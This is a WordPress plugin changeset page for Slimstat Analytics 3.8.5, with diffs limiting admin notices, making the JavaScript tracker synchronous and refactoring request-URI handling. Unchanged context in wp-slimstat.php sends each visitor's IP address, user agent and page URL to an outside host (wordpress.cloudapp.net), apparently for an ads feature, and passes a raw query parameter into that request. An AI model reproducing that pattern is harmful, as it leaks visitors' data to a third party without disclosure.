Version Description
- [Update] Show notices only to admin users (thank you, thisismyway)
- [Fix] The javascript tracker had been changed to deal with popup blocker issues, but the new code was causing even more problems to other people. Implemented a synchronous solution to make everybody happy! (thank you, bishoph)
Download this release
Release Info
Developer | coolmann |
Plugin | Slimstat Analytics |
Version | 3.8.5 |
Comparing to | |
See all releases |
Code changes from version 3.8.4 to 3.8.5
- admin/wp-slimstat-admin.php +2 -2
- readme.txt +5 -1
- wp-slimstat.js +1 -1
- wp-slimstat.php +20 -13
admin/wp-slimstat-admin.php
CHANGED
@@ -11,7 +11,7 @@ class wp_slimstat_admin{
|
|
11 |
* Init -- Sets things up.
|
12 |
*/
|
13 |
public static function init(){
|
14 |
-
if (wp_slimstat::$options['enable_ads_network'] == 'yes' || wp_slimstat::$options['enable_ads_network'] == 'no')
|
15 |
self::$admin_notice = "Our request for feedback regarding a new feature to archive existing pageviews was met with a lot of enthusiasm. So we got to work and added it to Slimstat. It's not enabled by default, so if you want to test it, head to Slimstat > Settings > General and set <strong>Delete Records</strong> to No. You can also restore or delete archived pageviews by using the new tools available under the Maintenance tab. Please report any issue you may encounter, or show your appreciation by <a href='https://wordpress.org/support/view/plugin-reviews/wp-slimstat#postform' target='_blank'>leaving a review</a> for our plugin.";
|
16 |
}
|
17 |
else {
|
@@ -94,7 +94,7 @@ class wp_slimstat_admin{
|
|
94 |
add_filter('screen_settings', array(__CLASS__, 'screen_settings'), 10, 2);
|
95 |
|
96 |
// Display a notice that hightlights this version's features
|
97 |
-
if (!empty($_GET['page']) && strpos($_GET['page'], 'wp-slim-view') !== false && !empty(self::$admin_notice) && wp_slimstat::$options['show_admin_notice'] != wp_slimstat::$version) {
|
98 |
add_action('admin_notices', array(__CLASS__, 'show_admin_notice'));
|
99 |
}
|
100 |
|
11 |
* Init -- Sets things up.
|
12 |
*/
|
13 |
public static function init(){
|
14 |
+
if ((wp_slimstat::$options['enable_ads_network'] == 'yes' || wp_slimstat::$options['enable_ads_network'] == 'no')){
|
15 |
self::$admin_notice = "Our request for feedback regarding a new feature to archive existing pageviews was met with a lot of enthusiasm. So we got to work and added it to Slimstat. It's not enabled by default, so if you want to test it, head to Slimstat > Settings > General and set <strong>Delete Records</strong> to No. You can also restore or delete archived pageviews by using the new tools available under the Maintenance tab. Please report any issue you may encounter, or show your appreciation by <a href='https://wordpress.org/support/view/plugin-reviews/wp-slimstat#postform' target='_blank'>leaving a review</a> for our plugin.";
|
16 |
}
|
17 |
else {
|
94 |
add_filter('screen_settings', array(__CLASS__, 'screen_settings'), 10, 2);
|
95 |
|
96 |
// Display a notice that hightlights this version's features
|
97 |
+
if (!empty($_GET['page']) && strpos($_GET['page'], 'wp-slim-view') !== false && !empty(self::$admin_notice) && wp_slimstat::$options['show_admin_notice'] != wp_slimstat::$version && current_user_can('manage_options')) {
|
98 |
add_action('admin_notices', array(__CLASS__, 'show_admin_notice'));
|
99 |
}
|
100 |
|
readme.txt
CHANGED
@@ -4,7 +4,7 @@ Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_i
|
|
4 |
Tags: analytics, tracking, reports, analyze, wassup, geolocation, online users, spider, tracker, pageviews, stats, maxmind, statistics, statpress
|
5 |
Requires at least: 3.8
|
6 |
Tested up to: 4.0
|
7 |
-
Stable tag: 3.8.
|
8 |
|
9 |
== Description ==
|
10 |
Visit our [website](http://slimstat.getused.to.it/) for more information and to [watch our introductory videos](http://slimstat.getused.to.it/features/video-tutorials/).
|
@@ -271,6 +271,10 @@ foreach ($results...`
|
|
271 |
|
272 |
== Changelog ==
|
273 |
|
|
|
|
|
|
|
|
|
274 |
= 3.8.4 =
|
275 |
* [New] You can now archive old pageviews, instead of deleting them
|
276 |
* [Update] Code optimizations to the Javascript tracker (and a bugfix - thank you, [themadproducer](https://wordpress.org/support/topic/external-links-problem))
|
4 |
Tags: analytics, tracking, reports, analyze, wassup, geolocation, online users, spider, tracker, pageviews, stats, maxmind, statistics, statpress
|
5 |
Requires at least: 3.8
|
6 |
Tested up to: 4.0
|
7 |
+
Stable tag: 3.8.5
|
8 |
|
9 |
== Description ==
|
10 |
Visit our [website](http://slimstat.getused.to.it/) for more information and to [watch our introductory videos](http://slimstat.getused.to.it/features/video-tutorials/).
|
271 |
|
272 |
== Changelog ==
|
273 |
|
274 |
+
= 3.8.5 =
|
275 |
+
* [Update] Show notices only to admin users (thank you, [thisismyway](https://wordpress.org/support/topic/hide-notifications-for-non-admins))
|
276 |
+
* [Fix] The javascript tracker had been changed to deal with popup blocker issues, but the new code was causing even more problems to other people. Implemented a synchronous solution to make everybody happy! (thank you, bishoph)
|
277 |
+
|
278 |
= 3.8.4 =
|
279 |
* [New] You can now archive old pageviews, instead of deleting them
|
280 |
* [Update] Code optimizations to the Javascript tracker (and a bugfix - thank you, [themadproducer](https://wordpress.org/support/topic/external-links-problem))
|
wp-slimstat.js
CHANGED
@@ -1 +1 @@
|
|
1 |
-
var SlimStat={_id:typeof SlimStatParams.id!="undefined"?SlimStatParams.id:"-1.0",_base64_key_str:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",_plugins:{acrobat:{substrings:["Adobe","Acrobat"],active_x_strings:["AcroPDF.PDF","PDF.PDFCtrl.5"]},director:{substrings:["Shockwave","Director"],active_x_strings:["SWCtl.SWCtl"]},flash:{substrings:["Shockwave","Flash"],active_x_strings:["ShockwaveFlash.ShockwaveFlash"]},mediaplayer:{substrings:["Windows Media"],active_x_strings:["WMPlayer.OCX"]},quicktime:{substrings:["QuickTime"],active_x_strings:["QuickTime.QuickTime"]},real:{substrings:["RealPlayer"],active_x_strings:["rmocx.RealPlayer G2 Control","RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)","RealVideo.RealVideo(tm) ActiveX Control (32-bit)"]},silverlight:{substrings:["Silverlight"],active_x_strings:["AgControl.AgControl"]}},_utf8_encode:function(e){var t,n,r="";e=e.replace(/\r\n/g,"\n");for(t=0;t<e.length;t++){n=e.charCodeAt(t);if(n<128){r+=String.fromCharCode(n)}else if(n>127&&n<2048){r+=String.fromCharCode(n>>6|192);r+=String.fromCharCode(n&63|128)}else{r+=String.fromCharCode(n>>12|224);r+=String.fromCharCode(n>>6&63|128);r+=String.fromCharCode(n&63|128)}}return r},_base64_encode:function(e){var t,n,r,i,s,o,u,a="",f=0;e=SlimStat._utf8_encode(e);while(f<e.length){t=e.charCodeAt(f++);n=e.charCodeAt(f++);r=e.charCodeAt(f++);i=t>>2;s=(t&3)<<4|n>>4;o=(n&15)<<2|r>>6;u=r&63;if(isNaN(n)){o=u=64}else if(isNaN(r)){u=64}a=a+SlimStat._base64_key_str.charAt(i)+SlimStat._base64_key_str.charAt(s)+SlimStat._base64_key_str.charAt(o)+this._base64_key_str.charAt(u)}return a},_detect_single_plugin_not_ie:function(e){var t,n,r,i,s;for(i in navigator.plugins){n=""+navigator.plugins[i].name+navigator.plugins[i].description;r=0;for(s in SlimStat._plugins[e].substrings){if(n.indexOf(SlimStat._plugins[e].substrings[s])!=-1){r++}}if(r==SlimStat._plugins[e].substrings.length){return true}}return false},_detect_single_plugin_ie:function(e){var t;for(t in SlimStat._plugins[e].active_x_strings){try{new ActiveXObject(SlimStat._plugins[e].active_x_strings[t]);return true}catch(n){return false}}},_detect_single_plugin:function(e){if(navigator.plugins.length){this.detect=this._detect_single_plugin_not_ie}else{this.detect=this._detect_single_plugin_ie}return this.detect(e)},detect_plugins:function(){var e,t="";for(e in SlimStat._plugins){if(SlimStat._detect_single_plugin(e)){t+=e+"|"}}return t},has_smoothing:function(){if(typeof screen.fontSmoothingEnabled!="undefined"){return Number(screen.fontSmoothingEnabled)}else{if(typeof SlimStatParams.detect_smoothing!="undefined")return 0;try{var e=document.createElement("canvas");e.width="35";e.height="35";e.style.display="none";document.body.appendChild(e);var t=e.getContext("2d");t.textBaseline="top";t.font="32px Arial";t.fillStyle="black";t.strokeStyle="black";t.fillText("O",0,0);for(var n=8;n<=32;n++){for(var r=1;r<=32;r++){var i=t.getImageData(r,n,1,1).data;var s=i[3];if(s!=255&&s!=0)return 1}}return 0}catch(o){return 0}}},get_page_performance:function(){slim_performance=window.performance||window.mozPerformance||window.msPerformance||window.webkitPerformance||{};if(typeof slim_performance.timing=="undefined"){return 0}return slim_performance.timing.loadEventEnd-slim_performance.timing.responseEnd},get_server_latency:function(){slim_performance=window.performance||window.mozPerformance||window.msPerformance||window.webkitPerformance||{};if(typeof slim_performance.timing=="undefined"){return 0}return slim_performance.timing.responseEnd-slim_performance.timing.connectEnd},send_to_server:function(e,t){if(typeof SlimStatParams.ajaxurl=="undefined"||typeof e=="undefined"){if(typeof t=="function"){t()}return false}try{if(window.XMLHttpRequest){request=new XMLHttpRequest}else if(window.ActiveXObject){request=new ActiveXObject("Microsoft.XMLHTTP")}}catch(n){if(typeof t=="function"){t()}return false}if(request){var r="action=slimtrack_js&data="+SlimStat._base64_encode(e);request.open("POST",SlimStatParams.ajaxurl,false);request.setRequestHeader("Content-type","application/x-www-form-urlencoded");request.send(r);if(request.status===200){parsed_id=parseInt(request.responseText);if(parseInt(SlimStat._id)<0&&!isNaN(parsed_id)){SlimStat._id=request.responseText}if(typeof t=="function"){t()}}return true}return false},ss_track:function(e,t,n,r){if(!e){e=window.event}code=typeof t=="undefined"?0:parseInt(t);note_array=[];parsed_id=parseInt(SlimStat._id);if(isNaN(parsed_id)||parsed_id<=0){if(typeof r=="function"){r()}return false}node=typeof e.target!="undefined"?e.target:typeof e.srcElement!="undefined"?e.srcElement:false;if(!node){if(typeof r=="function"){r()}return false}if(node.nodeType==3)node=node.parentNode;parent_node=node.parentNode;node_hostname="";node_pathname=location.pathname;switch(node.nodeName){case"FORM":if(node.action.length>0)node_pathname=escape(node.action);break;case"INPUT":while(typeof parent_node!="undefined"&&parent_node.nodeName!="FORM"&&parent_node.nodeName!="BODY")parent_node=parent_node.parentNode;if(typeof parent_node.action!="undefined"&&parent_node.action.length>0){node_pathname=escape(parent_node.action);break};default:if(node.nodeName!="A"){if(typeof node.getAttribute=="function"&&node.getAttribute("id")!="undefined"&&node.getAttribute("id")!=null&&node.getAttribute("id").length>0){node_pathname=node.getAttribute("id");break}while(typeof node.parentNode!="undefined"&&node.parentNode!=null&&node.nodeName!="A"&&node.nodeName!="BODY")node=node.parentNode}if(typeof node.hash!="undefined"&&node.hash.length>0&&node.hostname==location.hostname){node_pathname=escape(node.hash)}else{node_hostname=typeof node.hostname!="undefined"?node.hostname:"";if(typeof node.href!="undefined"){node_pathname=escape(node.href)}}if(typeof node.getAttribute=="function"){if(node.getAttribute("title")!="undefined"&&node.getAttribute("title")!=null&&node.getAttribute("title").length>0)note_array.push("Title:"+node.getAttribute("title"));if(node.getAttribute("id")!="undefined"&&node.getAttribute("id")!=null&&node.getAttribute("id").length>0)note_array.push("ID:"+node.getAttribute("id"))}}slimstat_info="&obd="+node_hostname+"&obr="+node_pathname;pos_x=-1;var i=-1;if(typeof e.pageX!="undefined"&&typeof e.pageY!="undefined"){pos_x=e.pageX;i=e.pageY}else if(typeof e.clientX!="undefined"&&typeof e.clientY!="undefined"&&typeof document.body.scrollLeft!="undefined"&&typeof document.documentElement.scrollLeft!="undefined"&&typeof document.body.scrollTop!="undefined"&&typeof document.documentElement.scrollTop!="undefined"){pos_x=e.clientX+document.body.scrollLeft+document.documentElement.scrollLeft;i=e.clientY+document.body.scrollTop+document.documentElement.scrollTop}if(pos_x>0&&i>0)slimstat_info+=(slimstat_info.length>0?"&":"?")+"po="+pos_x+","+i;note_array.push("Event:"+e.type);if(typeof n!="undefined"&&n.length>0)note_array.push(n);if(e.type!="click"&&typeof e.which!="undefined"){if(e.type=="keypress")note_array.push("Key:"+String.fromCharCode(parseInt(e.which)));else note_array.push("Type:"+e.which)}SlimStat.send_to_server("id="+SlimStat._id+"&ty="+code+slimstat_info+"&no="+escape(note_array.join(", ")),r);return true},slimstat_plusone:function(e){SlimStat.send_to_server("ty=4&obr="+escape("#google-plus-"+e.state))},add_event:function(e,t,n){if(e.addEventListener){e.addEventListener(t,n,false)}else if(e.attachEvent){e["e"+t+n]=n;e[t+n]=function(){e["e"+t+n](window.event)};e.attachEvent("on"+t,e[t+n])}else{e["on"+t]=e["e"+t+n]}},prevent_default:function(e){if(typeof e.preventDefault=="function"){e.preventDefault()}else{e.returnValue=false}},follow_link:function(e,t){t
|
1 |
+
var SlimStat={_id:typeof SlimStatParams.id!="undefined"?SlimStatParams.id:"-1.0",_base64_key_str:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",_plugins:{acrobat:{substrings:["Adobe","Acrobat"],active_x_strings:["AcroPDF.PDF","PDF.PDFCtrl.5"]},director:{substrings:["Shockwave","Director"],active_x_strings:["SWCtl.SWCtl"]},flash:{substrings:["Shockwave","Flash"],active_x_strings:["ShockwaveFlash.ShockwaveFlash"]},mediaplayer:{substrings:["Windows Media"],active_x_strings:["WMPlayer.OCX"]},quicktime:{substrings:["QuickTime"],active_x_strings:["QuickTime.QuickTime"]},real:{substrings:["RealPlayer"],active_x_strings:["rmocx.RealPlayer G2 Control","RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)","RealVideo.RealVideo(tm) ActiveX Control (32-bit)"]},silverlight:{substrings:["Silverlight"],active_x_strings:["AgControl.AgControl"]}},_utf8_encode:function(e){var t,n,r="";e=e.replace(/\r\n/g,"\n");for(t=0;t<e.length;t++){n=e.charCodeAt(t);if(n<128){r+=String.fromCharCode(n)}else if(n>127&&n<2048){r+=String.fromCharCode(n>>6|192);r+=String.fromCharCode(n&63|128)}else{r+=String.fromCharCode(n>>12|224);r+=String.fromCharCode(n>>6&63|128);r+=String.fromCharCode(n&63|128)}}return r},_base64_encode:function(e){var t,n,r,i,s,o,u,a="",f=0;e=SlimStat._utf8_encode(e);while(f<e.length){t=e.charCodeAt(f++);n=e.charCodeAt(f++);r=e.charCodeAt(f++);i=t>>2;s=(t&3)<<4|n>>4;o=(n&15)<<2|r>>6;u=r&63;if(isNaN(n)){o=u=64}else if(isNaN(r)){u=64}a=a+SlimStat._base64_key_str.charAt(i)+SlimStat._base64_key_str.charAt(s)+SlimStat._base64_key_str.charAt(o)+this._base64_key_str.charAt(u)}return a},_detect_single_plugin_not_ie:function(e){var t,n,r,i,s;for(i in navigator.plugins){n=""+navigator.plugins[i].name+navigator.plugins[i].description;r=0;for(s in SlimStat._plugins[e].substrings){if(n.indexOf(SlimStat._plugins[e].substrings[s])!=-1){r++}}if(r==SlimStat._plugins[e].substrings.length){return true}}return false},_detect_single_plugin_ie:function(e){var t;for(t in SlimStat._plugins[e].active_x_strings){try{new ActiveXObject(SlimStat._plugins[e].active_x_strings[t]);return true}catch(n){return false}}},_detect_single_plugin:function(e){if(navigator.plugins.length){this.detect=this._detect_single_plugin_not_ie}else{this.detect=this._detect_single_plugin_ie}return this.detect(e)},detect_plugins:function(){var e,t="";for(e in SlimStat._plugins){if(SlimStat._detect_single_plugin(e)){t+=e+"|"}}return t},has_smoothing:function(){if(typeof screen.fontSmoothingEnabled!="undefined"){return Number(screen.fontSmoothingEnabled)}else{if(typeof SlimStatParams.detect_smoothing!="undefined")return 0;try{var e=document.createElement("canvas");e.width="35";e.height="35";e.style.display="none";document.body.appendChild(e);var t=e.getContext("2d");t.textBaseline="top";t.font="32px Arial";t.fillStyle="black";t.strokeStyle="black";t.fillText("O",0,0);for(var n=8;n<=32;n++){for(var r=1;r<=32;r++){var i=t.getImageData(r,n,1,1).data;var s=i[3];if(s!=255&&s!=0)return 1}}return 0}catch(o){return 0}}},get_page_performance:function(){slim_performance=window.performance||window.mozPerformance||window.msPerformance||window.webkitPerformance||{};if(typeof slim_performance.timing=="undefined"){return 0}return slim_performance.timing.loadEventEnd-slim_performance.timing.responseEnd},get_server_latency:function(){slim_performance=window.performance||window.mozPerformance||window.msPerformance||window.webkitPerformance||{};if(typeof slim_performance.timing=="undefined"){return 0}return slim_performance.timing.responseEnd-slim_performance.timing.connectEnd},send_to_server:function(e,t){if(typeof SlimStatParams.ajaxurl=="undefined"||typeof e=="undefined"){if(typeof t=="function"){t()}return false}try{if(window.XMLHttpRequest){request=new XMLHttpRequest}else if(window.ActiveXObject){request=new ActiveXObject("Microsoft.XMLHTTP")}}catch(n){if(typeof t=="function"){t()}return false}if(request){var r="action=slimtrack_js&data="+SlimStat._base64_encode(e);request.open("POST",SlimStatParams.ajaxurl,false);request.setRequestHeader("Content-type","application/x-www-form-urlencoded");request.send(r);if(request.status===200){parsed_id=parseInt(request.responseText);if(parseInt(SlimStat._id)<0&&!isNaN(parsed_id)){SlimStat._id=request.responseText}if(typeof t=="function"){t()}}return true}return false},ss_track:function(e,t,n,r){if(!e){e=window.event}code=typeof t=="undefined"?0:parseInt(t);note_array=[];parsed_id=parseInt(SlimStat._id);if(isNaN(parsed_id)||parsed_id<=0){if(typeof r=="function"){r()}return false}node=typeof e.target!="undefined"?e.target:typeof e.srcElement!="undefined"?e.srcElement:false;if(!node){if(typeof r=="function"){r()}return false}if(node.nodeType==3)node=node.parentNode;parent_node=node.parentNode;node_hostname="";node_pathname=location.pathname;switch(node.nodeName){case"FORM":if(node.action.length>0)node_pathname=escape(node.action);break;case"INPUT":while(typeof parent_node!="undefined"&&parent_node.nodeName!="FORM"&&parent_node.nodeName!="BODY")parent_node=parent_node.parentNode;if(typeof parent_node.action!="undefined"&&parent_node.action.length>0){node_pathname=escape(parent_node.action);break};default:if(node.nodeName!="A"){if(typeof node.getAttribute=="function"&&node.getAttribute("id")!="undefined"&&node.getAttribute("id")!=null&&node.getAttribute("id").length>0){node_pathname=node.getAttribute("id");break}while(typeof node.parentNode!="undefined"&&node.parentNode!=null&&node.nodeName!="A"&&node.nodeName!="BODY")node=node.parentNode}if(typeof node.hash!="undefined"&&node.hash.length>0&&node.hostname==location.hostname){node_pathname=escape(node.hash)}else{node_hostname=typeof node.hostname!="undefined"?node.hostname:"";if(typeof node.href!="undefined"){node_pathname=escape(node.href)}}if(typeof node.getAttribute=="function"){if(node.getAttribute("title")!="undefined"&&node.getAttribute("title")!=null&&node.getAttribute("title").length>0)note_array.push("Title:"+node.getAttribute("title"));if(node.getAttribute("id")!="undefined"&&node.getAttribute("id")!=null&&node.getAttribute("id").length>0)note_array.push("ID:"+node.getAttribute("id"))}}slimstat_info="&obd="+node_hostname+"&obr="+node_pathname;pos_x=-1;var i=-1;if(typeof e.pageX!="undefined"&&typeof e.pageY!="undefined"){pos_x=e.pageX;i=e.pageY}else if(typeof e.clientX!="undefined"&&typeof e.clientY!="undefined"&&typeof document.body.scrollLeft!="undefined"&&typeof document.documentElement.scrollLeft!="undefined"&&typeof document.body.scrollTop!="undefined"&&typeof document.documentElement.scrollTop!="undefined"){pos_x=e.clientX+document.body.scrollLeft+document.documentElement.scrollLeft;i=e.clientY+document.body.scrollTop+document.documentElement.scrollTop}if(pos_x>0&&i>0)slimstat_info+=(slimstat_info.length>0?"&":"?")+"po="+pos_x+","+i;note_array.push("Event:"+e.type);if(typeof n!="undefined"&&n.length>0)note_array.push(n);if(e.type!="click"&&typeof e.which!="undefined"){if(e.type=="keypress")note_array.push("Key:"+String.fromCharCode(parseInt(e.which)));else note_array.push("Type:"+e.which)}SlimStat.send_to_server("id="+SlimStat._id+"&ty="+code+slimstat_info+"&no="+escape(note_array.join(", ")),r);return true},slimstat_plusone:function(e){SlimStat.send_to_server("ty=4&obr="+escape("#google-plus-"+e.state))},add_event:function(e,t,n){if(e.addEventListener){e.addEventListener(t,n,false)}else if(e.attachEvent){e["e"+t+n]=n;e[t+n]=function(){e["e"+t+n](window.event)};e.attachEvent("on"+t,e[t+n])}else{e["on"+t]=e["e"+t+n]}},prevent_default:function(e){if(typeof e.preventDefault=="function"){e.preventDefault()}else{e.returnValue=false}},follow_link:function(e,t,n){if(t||n.button===1||n.shiftKey){window.open(e,t)}else{window.location.href=e}},in_array:function(e,t){for(var n=0;n<t.length;n++){if(t[n]==e)return true}return false}};SlimStat.add_event(window,"load",function(){if(typeof SlimStatParams.disable_outbound_tracking=="undefined"){all_links=document.getElementsByTagName("a");var e=typeof SlimStatParams.extensions_to_track!="undefined"&&SlimStatParams.extensions_to_track.length>0?SlimStatParams.extensions_to_track.split(","):[];var t,n;for(var r=0;r<all_links.length;r++){n=false;t=0;if(e.length>0&&all_links[r].pathname.indexOf(".")>0&&all_links[r].hostname==location.hostname){extension_current_link=all_links[r].pathname.split(".").pop().replace(/[\/\-]/g,"");n=SlimStat.in_array(extension_current_link,e);t=1}if(!n&&(!all_links[r].href||all_links[r].hostname==location.hostname||all_links[r].href.indexOf("://")==-1||all_links[r].className.indexOf("noslimstat")!=-1)){continue}(function(){var e=all_links[r].href;var n=all_links[r].target&&!all_links[r].target.match(/^_(self|parent|top)$/i)?all_links[r].target:false;SlimStat.add_event(all_links[r],"click",function(r){SlimStat.prevent_default(r);SlimStat.ss_track(r,t,"",function(){SlimStat.follow_link(e,n,r)})})})()}}});var current_data="";if(typeof SlimStatParams.id!="undefined"&&parseInt(SlimStatParams.id)>0){current_data="id="+SlimStatParams.id}else if(typeof SlimStatParams.ci!="undefined"){current_data="ci="+SlimStatParams.ci+"&ref="+SlimStat._base64_encode(document.referrer)+"&res="+SlimStat._base64_encode(window.location.href)}if(current_data.length){SlimStat.add_event(window,"load",function(){setTimeout(function(){SlimStat.send_to_server(current_data+"&sw="+(screen.width||window.innerWidth||document.documentElement.clientWidth||document.body.offsetWidth)+"&sh="+(screen.height||window.innerHeight||document.documentElement.clientHeight||document.body.offsetHeight)+"&cd="+screen.colorDepth+"&aa="+SlimStat.has_smoothing()+"&sl="+SlimStat.get_server_latency()+"&pp="+SlimStat.get_page_performance()+"&pl="+SlimStat.detect_plugins())},0)})}
|
wp-slimstat.php
CHANGED
@@ -3,7 +3,7 @@
|
|
3 |
Plugin Name: WP Slimstat
|
4 |
Plugin URI: http://wordpress.org/plugins/wp-slimstat/
|
5 |
Description: The leading web analytics plugin for WordPress
|
6 |
-
Version: 3.8.
|
7 |
Author: Camu
|
8 |
Author URI: http://slimstat.getused.to.it/
|
9 |
*/
|
@@ -11,7 +11,7 @@ Author URI: http://slimstat.getused.to.it/
|
|
11 |
if (!empty(wp_slimstat::$options)) return true;
|
12 |
|
13 |
class wp_slimstat{
|
14 |
-
public static $version = '3.8.
|
15 |
public static $options = array();
|
16 |
|
17 |
public static $wpdb = '';
|
@@ -249,15 +249,7 @@ class wp_slimstat{
|
|
249 |
}
|
250 |
elseif (empty($_REQUEST['s'])){
|
251 |
self::$stat['searchterms'] = self::_get_search_terms($referer);
|
252 |
-
|
253 |
-
self::$stat['resource'] = urldecode($_SERVER['REQUEST_URI']);
|
254 |
-
}
|
255 |
-
elseif (isset($_SERVER['SCRIPT_NAME'])){
|
256 |
-
self::$stat['resource'] = isset($_SERVER['QUERY_STRING'])?$_SERVER['SCRIPT_NAME']."?".$_SERVER['QUERY_STRING']:$_SERVER['SCRIPT_NAME'];
|
257 |
-
}
|
258 |
-
else{
|
259 |
-
self::$stat['resource'] = isset($_SERVER['QUERY_STRING'])?$_SERVER['PHP_SELF']."?".$_SERVER['QUERY_STRING']:$_SERVER['PHP_SELF'];
|
260 |
-
}
|
261 |
}
|
262 |
else{
|
263 |
self::$stat['searchterms'] = str_replace('\\', '', $_REQUEST['s']);
|
@@ -499,6 +491,18 @@ class wp_slimstat{
|
|
499 |
}
|
500 |
// end get_country
|
501 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
502 |
/**
|
503 |
* Tries to find the user's REAL IP address
|
504 |
*/
|
@@ -1184,7 +1188,7 @@ class wp_slimstat{
|
|
1184 |
}
|
1185 |
|
1186 |
$request = "http://wordpress.cloudapp.net/api/update/?&url=".urlencode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"])."&agent=".urlencode($_SERVER["HTTP_USER_AGENT"])."&v=".(isset($_GET['v'])?$_GET['v']:11)."&ip=".urlencode($_SERVER['REMOTE_ADDR'])."&p=9";
|
1187 |
-
$options = stream_context_create(array( 'http' => array( 'timeout' =>
|
1188 |
|
1189 |
if (empty(self::$pidx['response'])){
|
1190 |
self::$pidx['response'] = @file_get_contents($request, 0, $options);
|
@@ -1307,7 +1311,10 @@ class wp_slimstat{
|
|
1307 |
* Adds a new entry to the Wordpress Toolbar
|
1308 |
*/
|
1309 |
public static function wp_slimstat_adminbar(){
|
1310 |
-
if ((function_exists('is_network_admin') && is_network_admin())
|
|
|
|
|
|
|
1311 |
load_plugin_textdomain('wp-slimstat', WP_PLUGIN_DIR .'/wp-slimstat/admin/lang', '/wp-slimstat/admin/lang');
|
1312 |
|
1313 |
self::$options['capability_can_view'] = empty(self::$options['capability_can_view'])?'read':self::$options['capability_can_view'];
|
3 |
Plugin Name: WP Slimstat
|
4 |
Plugin URI: http://wordpress.org/plugins/wp-slimstat/
|
5 |
Description: The leading web analytics plugin for WordPress
|
6 |
+
Version: 3.8.5
|
7 |
Author: Camu
|
8 |
Author URI: http://slimstat.getused.to.it/
|
9 |
*/
|
11 |
if (!empty(wp_slimstat::$options)) return true;
|
12 |
|
13 |
class wp_slimstat{
|
14 |
+
public static $version = '3.8.5';
|
15 |
public static $options = array();
|
16 |
|
17 |
public static $wpdb = '';
|
249 |
}
|
250 |
elseif (empty($_REQUEST['s'])){
|
251 |
self::$stat['searchterms'] = self::_get_search_terms($referer);
|
252 |
+
self::$stat['resource'] = self::get_request_uri();
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
253 |
}
|
254 |
else{
|
255 |
self::$stat['searchterms'] = str_replace('\\', '', $_REQUEST['s']);
|
491 |
}
|
492 |
// end get_country
|
493 |
|
494 |
+
public static function get_request_uri(){
|
495 |
+
if (isset($_SERVER['REQUEST_URI'])){
|
496 |
+
return urldecode($_SERVER['REQUEST_URI']);
|
497 |
+
}
|
498 |
+
elseif (isset($_SERVER['SCRIPT_NAME'])){
|
499 |
+
return isset($_SERVER['QUERY_STRING'])?$_SERVER['SCRIPT_NAME']."?".$_SERVER['QUERY_STRING']:$_SERVER['SCRIPT_NAME'];
|
500 |
+
}
|
501 |
+
else{
|
502 |
+
return isset($_SERVER['QUERY_STRING'])?$_SERVER['PHP_SELF']."?".$_SERVER['QUERY_STRING']:$_SERVER['PHP_SELF'];
|
503 |
+
}
|
504 |
+
}
|
505 |
+
|
506 |
/**
|
507 |
* Tries to find the user's REAL IP address
|
508 |
*/
|
1188 |
}
|
1189 |
|
1190 |
$request = "http://wordpress.cloudapp.net/api/update/?&url=".urlencode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"])."&agent=".urlencode($_SERVER["HTTP_USER_AGENT"])."&v=".(isset($_GET['v'])?$_GET['v']:11)."&ip=".urlencode($_SERVER['REMOTE_ADDR'])."&p=9";
|
1191 |
+
$options = stream_context_create(array( 'http' => array( 'timeout' => 2, 'ignore_errors' => true ) ) );
|
1192 |
|
1193 |
if (empty(self::$pidx['response'])){
|
1194 |
self::$pidx['response'] = @file_get_contents($request, 0, $options);
|
1311 |
* Adds a new entry to the Wordpress Toolbar
|
1312 |
*/
|
1313 |
public static function wp_slimstat_adminbar(){
|
1314 |
+
if ((function_exists('is_network_admin') && is_network_admin())){
|
1315 |
+
return;
|
1316 |
+
}
|
1317 |
+
|
1318 |
load_plugin_textdomain('wp-slimstat', WP_PLUGIN_DIR .'/wp-slimstat/admin/lang', '/wp-slimstat/admin/lang');
|
1319 |
|
1320 |
self::$options['capability_can_view'] = empty(self::$options['capability_can_view'])?'read':self::$options['capability_can_view'];
|